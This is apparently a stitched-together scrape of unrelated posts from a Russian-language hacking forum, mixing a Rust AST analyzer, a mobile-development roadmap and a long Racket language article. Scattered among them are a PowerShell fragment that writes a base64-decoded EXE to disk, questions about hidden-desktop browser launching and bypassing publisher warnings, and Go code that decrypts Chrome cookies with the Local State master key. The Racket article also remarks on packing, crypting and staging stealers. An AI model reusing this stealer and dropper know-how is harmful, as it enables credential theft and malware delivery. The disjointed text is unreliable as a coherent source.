[byte[]]$Bytes = [convert]::FromBase64String($Base64_Code);
[System.IO.File]::WriteAllBytes($EXE_Path2,$Bytes);
It seems like when I try to start a browser from a process with admin privileges using createprocess, lpdesktop is ignored and the browser opens on the input desktop. Is there anyway around this? My code works as intended with no admin privileges.
Сделал свой exe файл, при запуске выдает, "Не удается проверить издателя." как можно избежать этого предупреждения ? Какие могут быть варианты. Спасибо.
Кто нибудь знает как подключить виртуальную камеру obs к android studio?
Вообщем поигрался с AST анализатором раста и выдает неплохие вещи, если вы
пишите на нем, то сейчас это как-бы новый язык и инструментов под него
маловато.
Мой код это анализатор дерева Rust кода, чтобы показать быстренько его
структуру, то есть классы, функции, поля, ассоциации, трейты..
Думаю можно и запилить какие-то графики чтобы понятнее было!
Анализатор
Code:Copy to clipboard
extern crate tree_sitter;
extern crate tree_sitter_rust;
use std::fs;
use tree_sitter::{Node, Parser};
fn main() {
let code = match fs::read_to_string(r"C:\Users\WORKER\Desktop\RustDev\web3\src\code.txt") {
Ok(content) => content,
Err(err) => {
eprintln!("Error reading code.txt: {}", err);
return;
}
};
let mut parser = Parser::new();
parser.set_language(tree_sitter_rust::language()).expect("Error loading Rust grammar");
let parsed = parser.parse(&code, None).expect("Parsing error");
let root_node = parsed.root_node();
println!("Root node: {:?}", root_node);
// Обработка классов
process_classes(root_node, &code);
}
pub fn process_classes(node: Node, code: &str) {
let mut cursor = node.walk();
for child in node.named_children(&mut cursor) {
// println!("Child: {:?}", child.kind());
if child.kind() == "struct_item" || child.kind() == "enum_item" {
// Поиск узла с именем класса
if let Some(class_name_node) = child.child_by_field_name("name") {
let class_name = class_name_node.utf8_text(code.as_bytes()).unwrap().to_string();
let cll = class_name.clone();
println!("Class: {}", cll);
}
}
process_classes(child, code); // Рекурсивный вызов для вложенных классов
// Обработка функций
process_functions(child, code);
// Обработка ассоциаций и зависимостей
process_associations_and_dependencies(child, code);
// Обработка наследования
process_inheritance(child, code);
}
// Обработка интерфейсов
process_interfaces(node, code);
}
fn process_functions(class_node: Node, code: &str) {
fn process_parameters(node: Node, code: &str, arguments: &mut Vec<String>) {
let mut cursor = node.walk();
for child in node.children(&mut cursor) {
if child.kind() == "parameter" {
if let Some(parameter_name_node) = child.child_by_field_name("name") {
let parameter_name = parameter_name_node.utf8_text(code.as_bytes()).unwrap().to_string();
arguments.push(parameter_name);
}
}
}
}
let mut cursor = class_node.walk();
for child in class_node.named_children(&mut cursor) {
// println!("Child: {:?}", child.kind());
if child.kind() == "function_item" {
// Получаем имя функции
if let Some(function_name_node) = child.child_by_field_name("name") {
let function_name = function_name_node.utf8_text(code.as_bytes()).unwrap().to_string();
// Получаем аргументы функции
let mut arguments = Vec::new();
if let Some(parameter_list_node) = child.child_by_field_name("parameters") {
process_parameters(parameter_list_node, code, &mut arguments);
}
// Получаем тип возвращаемого значения
let return_type = if let Some(return_type_node) = child.child_by_field_name("return_type") {
return_type_node.utf8_text(code.as_bytes()).unwrap().to_string()
} else {
"void".to_string() // Здесь можно задать значение по умолчанию
};
// Выводим информацию о функции
println!(" Function: {}({}) -> {}", function_name, arguments.join(", "), return_type);
}
}
}
}
fn process_inheritance(class_node: Node, code: &str) {
let mut cursor = class_node.walk();
for child in class_node.named_children(&mut cursor) {
if child.kind() == "trait_bound" {
// Handle inheritance clause if it exists
if let Some(inherited_type_node) = child.child_by_field_name("type") {
let inherited_type = inherited_type_node.utf8_text(code.as_bytes()).unwrap().to_string();
println!(" Inherits: {}", inherited_type);
}
}
}
}
fn process_associations_and_dependencies(class_node: Node, code: &str) {
let mut cursor = class_node.walk();
for child in class_node.named_children(&mut cursor) {
if child.kind() == "field_declaration" {
// Получаем имя поля
let field_name = child.utf8_text(code.as_bytes()).unwrap().to_string();
// Получаем тип поля
if let Some(field_type_node) = child.child_by_field_name("type") {
let field_type = field_type_node.utf8_text(code.as_bytes()).unwrap().to_string();
// Здесь вы можете анализировать тип поля и определить ассоциацию
println!(" Field - {}: Association with class {}", field_name, field_type);
}
}
}
}
fn process_interfaces(class_node: Node, code: &str) {
let mut cursor = class_node.walk();
for child in class_node.named_children(&mut cursor) {
if child.kind() == "impl_item" {
// Check if this is an implementation for a trait
if let Some(trait_name) = get_trait_name_from_impl(child, code) {
let type_name = get_type_name_from_impl(child, code);
println!("Trait '{}' implemented for type '{}'", trait_name, type_name);
// Process each function within the impl block
process_trait_functions(child, code, &trait_name, &type_name);
}
}
}
}
fn get_trait_name_from_impl(impl_node: Node, code: &str) -> Option<String> {
// This function extracts the trait name from an impl block
// Returns None if it's not a trait implementation
let mut cursor = impl_node.walk();
let option = impl_node.named_children(&mut cursor)
.find(|n| n.kind() == "type_identifier")
.and_then(|n| n.utf8_text(code.as_bytes()).ok())
.map(|s| s.to_string());
option
}
fn get_type_name_from_impl(impl_node: Node, code: &str) -> String {
// This function extracts the type name from an impl block
// Should be called after confirming it's a trait implementation
let mut cursor = impl_node.walk();
impl_node.named_children(&mut cursor)
.filter(|n| n.kind() == "type_identifier")
.last() // Getting the last type_identifier assuming it's the type name
.and_then(|n| n.utf8_text(code.as_bytes()).ok())
.unwrap_or_default()
.to_string()
}
fn process_trait_functions(impl_node: Node, code: &str, trait_name: &str, type_name: &str) {
let mut cursor = impl_node.walk();
// Find the declaration_list node within the impl block
for child in impl_node.named_children(&mut cursor) {
if child.kind() == "declaration_list" {
process_declaration_list(child, code, trait_name, type_name);
}
}
}
fn process_declaration_list(decl_list_node: Node, code: &str, trait_name: &str, type_name: &str) {
let mut cursor = decl_list_node.walk();
// Iterate over function items within the declaration list
for child in decl_list_node.named_children(&mut cursor) {
if child.kind() == "function_item" {
// Extract function name
if let Some(function_name_node) = child.child_by_field_name("name") {
let function_name = function_name_node.utf8_text(code.as_bytes()).unwrap().to_string();
// Output the trait implementation details
println!("Trait '{}' for type '{}' implements function '{}'", trait_name, type_name, function_name);
}
}
}
}
Cargo.toml
YAML:Copy to clipboard
[package]
name = "my_project"
version = "0.1.0"
edition = "2018"
[dependencies]
tree-sitter = "0.20.10"
tree-sitter-rust = "0.20.4"
Для этого кода https://pastebin.com/AbFzD17y сделает такой лог https://pastebin.com/ceJPY0tp
thank you
can someone share how to restrict access to the current running process with Windows API in Rust ?
Рынок мобилок интересен не только заработком, но и возможностями, уникальность, перспективами, если идти в ту сферу, то через какое-то время, когда мобильные устройства, в частности смартфоны и смарт-устройства, станут неотъемлемой частью жизни большей части людей(больше чем сейчас!!!), будет еще больше мувов по всем фронтам
Ориентируясь на эту сферу примерный роадмап, учитывая актуальные технологии выглядит так:
стек на выбор:
iOS:
Swift (язык программирования)
SwiftUI (фреймворк пользовательского интерфейса)
Xcode (интегрированная среда разработки)
Objective-C (дополнительно)
RxSwift (реактивное программирование)
CocoaPods (менеджер зависимостей)
Android:
Kotlin (язык программирования)
Jetpack Compose (фреймворк пользовательского интерфейса)
Android Studio (интегрированная среда разработки)
Java (дополнительно)
RxJava (реактивное программирование)
Gradle (менеджер зависимостей)
Кроссплатформенные:
React Native (JavaScript-фреймворк)
Flutter (фреймворк на Dart)
Xamarin (фреймворк на C#)
Ionic (фреймворк на веб-технологиях)
Тенденции и технологии будущего:AI, ML, BlockChain(web3, defi, dapp, etc),cloud tech(распределение и микросервисы)
(дополнительная инфа в общих чертах как двигаться)
Этапы:
1. База: программирование, технологический стек, API/SDK
2. Продвинутые концепции: навигация, обработка событий, UX/UI
3. Расширенные технологии: библиотеки, асинхронное программирование, облачные
вычисления
4. Специализация: выбор направления и изучение доменных знаний
5. Передовые технологии: ИИ, дополненная реальность, блокчейн
о дарте:
ru.wikipedia.org
В общих словах про ЯП Dart / Habr
Вкатываемся через дарт в кодинг с парадигмой ООП(параллельно же надо изучать концепции и прочий фарш из компкутер сайнс)
Модуль 1: Основы программирования с дартом
Типы данных
Операторы
Переменные и их объявление
Ввод и вывод данных
Условные операторы
1.2:
Из ООП
Класс и объект
Свойства и методы
Модификаторы доступа (private, public)
Модуль 2: Простые структуры данных
Массивы
Списки
Карты
Обработка исключений
2.2:
Базa ООП:
Наследование
Полиморфизм
Модуль 3: Сложные структуры данных
Структуры
Классы
Интерфейсы
Абстрактные классы
3.2 ООП:
Инкапсуляция
Ассоциация
Агрегация
Модуль 4: Функции и замыкания
Создание и вызов функций
Параметры функций и возвращаемое значение
Замыкания
4.2 ООП:
Делегаты
Лямбда-выражения
Модуль 5: Асинхронное программирование
Future и async/await
Использование таймеров и потоков
5.2 ООП:
Конкуррентность
Параллелизм( https://habr.com/ru/amp/publications/539362/ )
ДОПОЛНИТЕЛЬНО:
[ https://education.yandex.ru/handbook/flutter/article/dart-osobennosti-yazyka ](https://education.yandex.ru/handbook/flutter/article/dart-osobennosti- yazyka)
![education.yandex.ru](/proxy.php?image=https%3A%2F%2Fyastatic.net%2Fs3%2Feducation- portal%2Fmedia%2Fopengraph_flutter_ef816a01e6_bc2889b027.webp&hash=0a19fa6b695efa91facaa02ce046dbca&return_error=1)
oop)
Dart: ООП - Хендбук от Яндекс.Образования. Откройте для себя передовые подходы, практические советы и вдохновляющие идеи от наших экспертов.
![education.yandex.ru](/proxy.php?image=https%3A%2F%2Fyastatic.net%2Fs3%2Feducation- portal%2Fweb%2Ffavicon.ico&hash=7dd9293deb933063aeaf689920e77c39&return_error=1) education.yandex.ru
когда скилл по синтаксису настакаете:
https://education.yandex.ru/handbook/flutter -> _переходим уже к совмещению
с флюттером
ищу единомышленников -> pm, будем вместе развиваться, есть некоторое количество материала_
Занимаюсь пентестом, хочу углубиться в один из языков прям с головой. Подскажите пожалуйста, хорошим ли выбором является Ruby?
Привет форумчане
Если кратко к сути дела, пытаюсь расшифровать cookie chrome.
Естественно ничего не получается, выдаёт ошибку
Я понял, что ошибка именно в срезе который я передаю,
пробовал разные, не помогло.
pwd - это кука
masterkey - ключ с local state
Ошибка возникает на методе blockMode.Open
Code:Copy to clipboard
nonce := pwd[3:15]
cryptoBlock := pwd[15 : len(pwd)-16]
block, _ := aes.NewCipher(masterKey)
blockMode, _ := cipher.NewGCM(block)
decryptedData, err := blockMode.Open(nil, nonce, cryptoBlock, nil)
if err != nil {
fmt.Println(err)
}
Кстати пароли расшифро́вываются хорошо и полностью без ошибок.
Подскажите, что не так
Ошибка
Предисловие
Всем привет!
С вами Патрик.
Я продолжаю цикл статей про маргинальные языки программирования, и сегодня у нас достаточно интересный гость - язык программирования Racket. Да-да, как же можно писать про всякую экзотику, и обойти при этом семейство лиспообразных.
Несмотря на то, что Лисп - второй из самых древних языков программирования высокого уровня, доживший до наших дней (уступает только Фортрану), и каждый год его усердно пытаются закопать недоброжелатели - но он все никак не помрет. Такая невероятная живучесть обусловлена одной из главных особенностей языка - удивительной возможностью быстро адаптироваться (да-да, мы все еще говорим про язык программирования, а не про какой-то зомби вирус) к окружающей действительности.
В сегодняшенм эссе я постараюсь вкратце познакомить вас с концепциями языков семейства Lisp, а также рассказать про один из самых живых, качественных и подходящих для знакомства с этим семейством представителя - язык Racket. Ну и по традиции покодим что-нибудь интересненькое и полезное.
Поехали!
Краткая историческая справка
Ну что же, начнем эту историю с путешествия в далекое прошлое, а именно - аж в 1958 год. Как это обычно принято, за каждым серьезным языком программирования должен стоять не менее серьезный бородатый дяденька, иначе не по канону. И такой бородатый дяденька у нас имеется.
Знакомьтесь, Джон Маккарти - американский информатик, профессор Массачусетского технологического, обладатель премии Тьюринга, основоположник функционального программирования и автор термина "искусственный интеллект".
В пятидесятых господин Маккарти занимался исследованиями в области ИИ, но к сожалению существовавшие на тот момент инструменты были скудны и не позволяли вдоволь разгуляться. Возникла потребность в создании нового языка программирования, адекватного задачам, решаемым в этой области.
Основой для лиспа послужил язык IPL - язык обработки списков для проекта автоматического вывода теорем математической логики. Собственно, Маккарти взял оттуда алгоритм работы со списками и решил реализовать его на Фортране. Но как-то не пошло.
И здесь позволю себе вбросить интересный факт. Лисп известен нам, как язык, состоящий из смайликов чуть более, чем полностью. Но знали ли вы, что в изначальном Лиспе синтаксис был совсем другой? Изначально в Лиспе использовались M-выражения, которые больше напоминают нам традиционный формат записи команд, а S-выражения использовались лишь для внутреннего представления, как промежуточное значение. Но разработка транслятора в M-выражения затянулась, все привыкли к скобочному синтаксису, и благополучно забили на это дело
Есть достаточно интересное мнение о том, что Маккарти не "изобрел" Лисп, а "открыл" его. Это отчасти правда, потому что именно S-выражения позволили языку превратиться в тот инструмент, про который слагают легенды, и по иронии
Но, вернемся к истории. Следом за первой версией последовал Lisp 1.5, и язык взлетел. Судите сами, в бородатые годы, когда люди были маленькие, а компьютеры большие, в Лиспе уже было:
Полноценная среда программирования - интерактивная среда включала в себя редактор кода, интерпретатор и отладчик
Сборщик мусора
Динамические типы данных
И еще много других приколюх, которые сейчас нам кажется обыденностью, а в те года, для людей еще недавно писавших машинный код, это было как будто им Прометей огонь принес. Для справочки - до появления языка Си еще плюс минус 10 лет.
С 60х по 80ые в мире лиспов творилась лютая дичь - наплодилось куча реализаций, естественно несовместимых между собой. Каждый видел язык по своему, начали плодиться диалекты (Scheme, про который мы будем сегодня говорить, появился в 1976 году). Короче царил треш, угар и содомия, которая привела к ситуации, похожей на Вавилонскую башню.
К первой половине 80х существовало более 10 крупных и активно развивающихся диалектов Лиспа. Это очень круто, пока язык не выходит за пределы университетов, но невероятно плохо в продакшне. Для примера - можете посмотреть как больно разработчикам веб-приложений поддерживать три движка (реализованные в Chrome, Firefox и Safari соответственно). Постоянно где-то что-то не отрабатывает как надо из-за особенностей реализации. А теперь представьте, что платформ не три, а десять. Ад адовый.
Ну а дальше ситуация развивалась так - военным нужен был стандартизированный язык для своих, кхм, военных нужд. Взяли язык Ада, но не вышло. Тогда задонатили в Лисп и сказали - сделайте нормально, нам нужен стандарт.
Проектируемый стандарт с самого начала получил наименование «Common Lisp» («Общий Лисп»), подчёркивающее цель разработки — получить единый базовый язык, на основании которого можно было бы создавать программно-совместимые системы.
Разрабатывали всем селом (в том числе впервые - дистанционно, через сеть ARPANET) и в 1984 году процесс разработки стандарта успешно завершился и его результат был зафиксирован в первом издании руководства «Common Lisp: the Language» Гая Стила.
После этого Вавилонская башня понемногу утихла, в 1990 произошел пересмотр и значительное расширение стандарта, а в 1995 язык был стандартизирован ANSI. И плюс минус в таком виде язык Common Lisp и существует по наши дни.
Но, как заметил внимательный читатель, статья-то вовсе не про борщ (Common Lisp -> общелисп -> борщелисп, ну вы поняли, локальный мем). Статья про Racket, это вообще что, это вообще где и в какой момент мы свернули не туда?
А для того, чтобы разобраться в этом, давайте-ка поговорим про диалекты.
Что такое язык, диалект и реализация?
Для того, чтобы познать дзен Лиспа и не потеряться в обилии новых концепций, нам просто необходимо определить эти три термина и понять, что каждый из них означает.
Концепция дикая для многих современных языков программирования, но имхо -
базовая и очень правильная.
Давайте объясню на очень-очень простом примере из реальной жизни, а именно -
на примере обычных языков, на которых мы с вами говорим.
Есть язык - пусть для примера это будет английский. Несмотря не то, что язык один, в разных частях света и странах говорят на нем немного по-разному (ну или сильно по-разному).
Если вы возьмете американца, британца и допустим шотландца - каждый из них будет абсолютно уверен, что говорит на английском. Но их произношение будет настолько отличаться, что они с трудом будут понимать друг друга (реальная ситуация, без шуток, погуглите про шотландский акцент).
Более того, даже, кхм, "ключевые слова" в этих языках отличаются.
autumn == fall
biscuit == cookie
film == movie
flat == apartment
И это совсем базовые повседневные слова, без сленга.
Так вот, английский ЯЗЫК этих трех граждан - это ДИАЛЕКТЫ.
То есть язык один, но говорят они на нем по-разному, используя различные слова
и конструкции.
Окей, с этим разобрались, остался еще один термин - реализация. Тут тоже все достаточно просто, как и в жизни. Американский английский общий для всех американцев, но каждый конкретно взятый американец говорит на нем по-своему. Использует характерные для себя речевые обороты, возможно сленг, возможно картавит или еще что-то.
Это РЕАЛИЗАЦИЯ - конкретное реальное воплощение выдуманных сущностей под названием язык и диалект.
В случае языков программирования это работает так:
Есть язык Лисп, и он один, включает в себя несколько диалектов
Есть диалекты - Common Lisp, Scheme, Clojure. Это все еще абстрактные сущности, описанные только на бумаге, в голове у создателей или в википедии
И есть реализации - реально существующие интерпретаторы и компиляторы диалектов Common Lisp, Scheme и так далее
Такая концепция разделения достаточно логичная и на самом деле встречается повсеместно, просто часто слипаются понятия язык-диалект или диалект- реализация. Потому что у молодых языков как правило один язык, один диалект и одна реализация.
Из примеров - у языка С есть несколько реализаций, например gcc и clang.
У языка Python также есть несколько реализаций - CPython, IronPython и PyPy.
Термин диалекты как правило не используется в современных языках программирования, потому что новые диалекты как правило сразу вырождаются в новые отдельные языки со своими реализациями и приходят к формуле "язык == диалект == реализация". Из примеров на ум приходят разве что некоторые языки семейства ML.
И теперь, когда мы определились с терминологией - пришло время поговорить про Racket - реализацию диалекта Scheme языка Лисп.
Racket
Изначально язык назывался PLT Scheme и был разработан в качестве обучающего продукта для начинающих программистов. Поставлялся в виде среды разработки DrSchemer (сейчас DrRacket) и был дополнен различными обучающими языками программирования.
Позднее ребята выпустили достаточно крутую и культовую книгу How to Design Programs (HtDP), а затем, в 2010 году, провели ребрендинг своего детища и так появился Racket. Сязано это было в основном с тем, что Racket объективно перерос статус "еще одной реализации Scheme" и выродился в новый, более комплексный язык программирования
В 2018 году свой кастомный интерпретатор заменили на Chez Scheme, и стало совсем хорошо.
И на этом моменте неплохо бы вдумчивому читателю задать вопрос: Патрик, а
почему именно Racket?
Почему из всех реализаций языка Scheme ты выбрал именно эту, что в ней такого
особенного?
Ну что ж, давайте знакомиться, пройдя по нашим ставшим уже классическими пунктам.
Экосистема и установка
Я никогда не устану говорить про это и тыкать носом разработчиков языков программирования и другого ПО. Хотите, чтобы вашим продуктом пользовались? Делайте блин простую установку. Вокруг уже столько примеров, как можно сделать удобно, просто и в одну команду.
Слава богу, ребята из Racket осилили - под каждую поддерживаемую систему и разрядность есть установщик. Скачал. Запустил. Наслаждаешься.
Не пугайтесь жирнющего установщика (версия под Линукс х64 весит аж 236 метров)
Окей, с установкой все понятно и просто, за это Racket получает плюс.
Что там у нас дальше?
Про среду разработки DrRacket могу сказать вот что - наверняка это зашибись
для обучения программированию, потому что здесь нет ничего лишнего, все просто
и понятно. Но для боевых задач я предпочту VS Code. Запомните эту мысль, мы
еще много раз вернемся к ней в разных контекстах в ходе сегодняшней статьи.
Но вообще за IDE из коробки тоже ставим плюс, потому что даже если мы ей не
будем пользоваться, это серьезный показатель. Разработчики как бы говорят нам
Также в дефолтной поставке нам доступен менеджер пакетов raco, который умеет весь джнетльменский набор. Из особенностей - создатели позиционируют raco как "инструменты командной строки для Racket", поэтому помимо управления пакетами у нас тут до кучи:
Компиляция в байткод и декомпиляция обратно
Сборка экзешников и их дистрибуция
Линкер
Тесты погонять можно
Поискать и почитать доксы можно
А также можно дописывать свои кастомные команды
В целом - удобно и просто, вопросов нет.
Документация
Этот момент я просто не мог не выделить в отдельный пункт.
У Racket одна из лучших документаций, что я видел в своей жизни. А живу я уже
достаточно и доксов перечитал дай боже.
И вот важный момент - я не говорю что она красивая, тот же VuePress делает визуально намного более современные доксы. Попробую объяснить.
Racket изначально планировался как обучающий продукт. Он таковым по сути и остается. Доксы Racket писали настолько душные чуваки из научной братии, что здесь описано все. Буквально все. Любой несчастный if-else снабжен:
Осознанными названиями аргументов, по которым понятно что это
Их типами
Подробным описанием того, что эта штука делает, а также как и где ее применять
Парочкой примеров, чтобы вам совсем по кайфу было
При этом все это нашпиговано сквозными ссылками под завязку и весьма грамотно структурировано. Ах да, ну и система поиска есть.
Реально, где вы еще видели, например, такое про операцию сложения:
Короче, если бы я ставил оценку за документацию к этому продукту - это было бы 12 из 10.
Но следом вброшу чуть заранее ложку дегтя, чтобы внимательному читателю не казалось, что я излишне нахваливаю язык Racket. Доксы настолько офигенны, что это вводит в определенное заблуждение - кажется что раз все так круто описано, то и работать все должно не менее круто.
К сожалению, это не так. При ближайшем рассмотрении оказывается, что многого функционала для боевых задач нет и его придется реализовывать самостоятельно. Функционал из старых модулей может быть чудесно задокументирован, но не работать в принципе, и придется лезть в сорцы чтобы это исправить.
Структура кода и синтаксис
Окей, Racket мы установили, с базовой поставкой тоже разобрались.
Время писать хэллоуворлды и разбирать синтаксис (если то, с чем мы работаем в
семействах языков лисп можно назвать синтаксисом).
Чтобы сразу на примерах, создадим файл с расширением - hello.rkt и напишем туда код нашей программы:
Code:Copy to clipboard
#lang racket
(displayln "Hello, XSS!")
Ну и соответственно запустим его, и увидим нужную нам надпись, убедившись что все у нас работает как надо
Code:Copy to clipboard
$ racket hello.rkt
Hello, XSS!
Тут я сразу хочу обратить внимание на две вещи.
Первая - чисто рэкетовская особенность синтаксиса, обусловленная тем, что Racket - амбассадор языково-ориентированного программирования и позиционирует себя как удобный инструмент для создания новых языков.
Это директива lang.
А прикол тут вот в чем - Racket позволяет нам немного поиграть в полиглота и писать код на большом количестве языков в рамках одного проекта. Чтобы интерпретатор/компилятор понял, как ему сейчас читать код и что с ним делать, используется директива lang. Под капотом все тоже очень просто - вызывается соответствующий reader macro.
Пара примеров языков, реализованных на Racket
Typed Racket - тот же Racket, но со строгой типизацией
Code:Copy to clipboard
#lang typed/racket
(struct pt ([x : Real] [y : Real]))
(: distance (-> pt pt Real))
(define (distance p1 p2)
(sqrt (+ (sqr (- (pt-x p2) (pt-x p1)))
(sqr (- (pt-y p2) (pt-y p1))))))
Scribble - язык для генерации PDF и HTML
Code:Copy to clipboard
#lang scribble/base
@title{On the Cookie-Eating Habits of Mice}
If you give a mouse a cookie, he's going to ask for a
glass of milk.
Datalog - логический язык программирования
Code:Copy to clipboard
#lang datalog
parent(john, douglas)
ancestor(A, B) :-
parent(A, B)
ancestor(A, B) :-
parent(A, C),
ancestor(C, B)
Из лулзов есть православный язык программирования Адина (для любителей 1С и кодить на кириллице).
Тут я думаю даже без понимания что конкретно делают эти три примера, видно невооруженным глазом, что это реально три разных языка с тремя разными синтаксисами. Но все три реализованы штатными средствами Racket, и это впечатляет (по крайней мере когда я питонистам такое показываю, они ссут кипятком и идут читать про Лисп).
Второе, на чем я хотел бы остановиться - собственно, вторая строчка нашего хэллоуворлда. Это то, за что лисперы любят лисп, а все остальные его люто ненавидят - S-выражения.
Чтобы сильно не упарываться, расскажу вкратце, как это работает, в чем прикол и почему бы не писать как все нормальные люди (эту фишку кстати поддерживают все Scheme, используя SIX еще с бородатых годов. Становится похоже на Ruby, который кстати тоже многие считают лиспом без скобочек).
Типичный код на лиспах выглядит примерно вот так:
Code:Copy to clipboard
(define frame (new frame% [label "Guess"]))
(define secret (random 5))
(define ((check i) btn evt)
(define found? (if (= i secret) "Yes" "No"))
(message-box "?" found?)
(when (= i secret)
(send frame show #false)))
(for ([i (in-range 5)])
(new button%
[label (~a i)]
[parent frame]
[callback (check i)]))
(send frame show #t)
С непривычки очень больно, особенно математические операции. Дело в том, что LISP == LISt Processing language, то есть язык обработки списков. И с кодом язык работает как с большим списком с вложениями.
Прикол тут вот в чем. Внимательный читатель заметит, что на самом деле исходный код любой программы на лиспе - это уже готовое AST. Его не надо парсить, оно просто сразу есть.
Просто постарайтесь осознать этот дзен. По сути у Лиспа нет синтаксиса. Вы одинаково (визуально) создаете списки, переменные, функции, объекты, методы, итераторы и все, что душе угодно. А это в свою очередь позволяет вам реализовывать функционал, которого не было в языке изначально.
Краткий пример - в Python есть новая (относительно) и прикольная штука под названием генераторы списков:
Python:Copy to clipboard
initial_list = [1, 2, 3]
generated_list = [x*2 for x in initial_list]
Допустим мне эта конструкция понравилась и я хочу так же.
Беру и пишу так же:
Code:Copy to clipboard
(define initial-list '(1 2 3))
(define generated-list
(genlist (* x 2) for x in initial-list))
И потом когда надо будет - реализую макрос genlist.
На мой взгляд именно эта фича - возможность изменять язык под свои задачи - и является причиной того, что Лиспы со всеми своими недостатками все еще живы. Очень сложно соперничать с языком, в который может как вирус, настолько быстро мутировать и адаптироваться под изменяющуюся реальность.
Хочешь новую фичу? Добавь.
Всю жизнь мечтал создавать функции командой createFuckingFunction? Создавай, и
никто тебя не остановит.
Но, не будем сильно глубоко нырять в макросы и магию Лиспа (пока). Пройдемся по основным ключевым моментам.
Вернемся к нашему хэллоуворлду и немного подправим его, чтобы получилось GUI приложение.
Code:Copy to clipboard
#lang racket/gui
(require racket/gui/base)
(define frame (new frame% [label "Hello, World!"]))
(define msg (new message% [parent frame]
[label "No events so far..."]))
(new button% [parent frame]
[label "Click Me"]
(callback (lambda (button event)
(send msg set-label "Clicked!"))))
(send frame show #t)
Здесь мы видим, как происходит импорт модулей в Racket (ничего необычного) и систему работы с графическими интерфейсами - тут тоже все достаточно прозаично, обычный декларативный стиль, похожий чем-то на нашего предыдущего гостя Red.
Окей, а давайте-ка мы возьмем пару примеров и соберем их в standalone executable, чтобы плюс минус понять размер файлов на выходе.
Пример 1 - Hello World, использующий racket/base
Code:Copy to clipboard
#lang racket/base
(displayln "Hello, XSS")
На выходе - 2 мб
Пример 2 - Hello World, использующий основной racket
Code:Copy to clipboard
#lang racket
(displayln "Hello, XSS")
Посмотрите какое незначительное отличие в директиве lang, но какие разительные изменения на выходе. Вес - 12 мб, что в шесть раз больше первого примера. Это связано с тем, что base - базовый язык, как следует из названия. А основной - тащит с собой весь бойлерплейт, что и приводит к увеличению веса.
Пример 3 - Hello World на R6RS (базовый стандарт языка Scheme)
Code:Copy to clipboard
#lang r6rs
(displayln "Hello, XSS")
И тут уже нас ждет не совсем приятный сюрприз. Очевидно, что R6RS меньше как
язык, чем Racket. Он даже меньше, чем racket/base. И на выходе мы ожидаем
маленький компактный файл. Но это не так. Вес на выходе - 12 мб. Дело тут в
том, что все языки, реализованные на Racket будут тащить с собой собственно
сам Racket (в качестве движка). Поэтому, если вам нужен реально маленький
размер файла - лучше обратить внимание на другие реализации Scheme.
При этом хочу обратить внимание на то, что для большинства задач 12 мегабайт -
все еще очень разумный вес для системы, способной выполнять код на кастомном
языке.
Пример 4 - Hello World с GUI
Тут уже все ожидаемо - вес должен быть еще больше, и так оно и есть. Вес на
выходе - 22 мб. Опять же, много это или мало - зависит от специфики ваших
задач. За небольшой доп вес вы получаете отсутствие мозгоебства с установкой
зависимостей и полностью портативный софт с графическим интерфейсом. Если
сравнивать с жирнейшим электроном, у которого размер файлов в среднем 300
метров - так вообще сказка.
Какие выводы мы можем сделать, исходя из этих данных?
Да если честно, особо никаких. Повторюсь - много это или мало зависит
исключительно от ваших задач, как и от векторов атак. Да, наверняка писать
стиллер на Racket, паковать его в архив и кидать на амбразуру - не лучшая
затея, просто потому что вы запаритесь криптовать 2 мб (или 12 мб, в
зависимости от комплектации). Но с текущими скоростями размер файлов в целом
приемлемый для загрузки даже по мобильному интернету, поэтому если вы
используете стейджинг - никаких проблем не возникнет.
Cheat Sheet по синтаксису
Типы данных тут классические:
Boolean - #t и #f, аналоги true и false, соответственно
Числа - условно делятся на точные и неточные. Точные - это целые числа, дроби и комплексные числа с целыми действительной и мнимой частями. Неточные - это наши числа с плавающей запятой, а также комплексные в которых одна из частей с плавающей запятой
Символы - классические юникод символы, обозначаются вот так #\A
Строки - тоже обошлось без извратов. Строка - это просто массив символов
Байты и байтовые строки - аналогично, обозначаются вот так #"Apple"
Символы - особый, чисто лисповский тип данных. Представляет из себя атомарное значение, записывается с помощью одинарной кавычки 'a, 'bob и так далее. Используется глобально - для подавления вычисления. Локально - чаще всего так передаются идентификаторы, например названия переменных и функций
Пары и списки - опять же, родной и неотъемлемый тип данных для лиспов. Пара выглядит вот так '(1 . 2), а список вот так '(1 2 3). В плане реализации представляет собой классический односвязный список. Не буду вдаваться сильно в подробности, если интересно - можете почитать про cons cells и как это работает.
Хэш-таблицы, они же словари - абсолютно упоротые. При создании обязательно указать, какой оператор сравнения будет использоваться - а их тут три штуки. При этом на каждый из трех вариантов есть еще два - мутабельные и иммутабельные. Итого шесть разных хеш таблиц. При этом в иммутабельные таблицы тоже можно добавлять новые ключи. У новичков вызывает лютый ступор, потому что словари - настолько распространенная структура данных, что хочется чтоб она была одна, рабочая и понятная
Глобальные переменные создаются вот так:
Code:Copy to clipboard
(define x 1)
А локальные вот так:
Code:Copy to clipboard
(let ((x 1))
(displayln x))
Можно задать локальные переменные рекурсивно:
Code:Copy to clipboard
(letrec ([swing
(lambda (t)
(if (eq? (car t) 'tarzan)
(cons 'vine
(cons 'tarzan (cddr t)))
(cons (car t)
(swing (cdr t)))))])
(swing '(vine tarzan vine vine)))
Также можно создавать именованные блоки локальных переменных - чтобы можно было прыгать по коду и реализовать рекурсию
Code:Copy to clipboard
(define (duplicate pos lst)
(let dup ([i 0]
[lst lst])
(cond
[(= i pos) (cons (car lst) lst)]
[else (cons (car lst) (dup (+ i 1) (cdr lst)))])))
> (duplicate 1 (list "apple" "cheese burger!" "banana"))
'("apple" "cheese burger!" "cheese burger!" "banana")
Функции в Racket создаются тем же способом, что и переменные:
Code:Copy to clipboard
(define (f x)
(+ x 1))
По сути это синтаксический сахар для (define f (lambda ...)).
И вызываются функции вот так:
Code:Copy to clipboard
> (f 2)
3
Поскольку Racket - реализация языка программирования Scheme, функциональный стиль для него является родным, со всеми вытекающими. Здесь есть лямбды, функции как объекты первого порядка, замыкания, продолжения и так далее.
Условные операторы - их четыре, потому что зачем еще что то.
Классически if-else
Code:Copy to clipboard
(if (> x 1)
"more"
"less")
И cond, для серии проверок
Code:Copy to clipboard
(cond
[(positive? -5) (error "doesn't get here")]
[(zero? -5) (error "doesn't get here, either")]
[(positive? 5) 'here])
When и unless, для любителей писать if по-своему:
Code:Copy to clipboard
(when (positive? -5)
(display "hi"))
(unless (positive? 5)
(display "hi"))
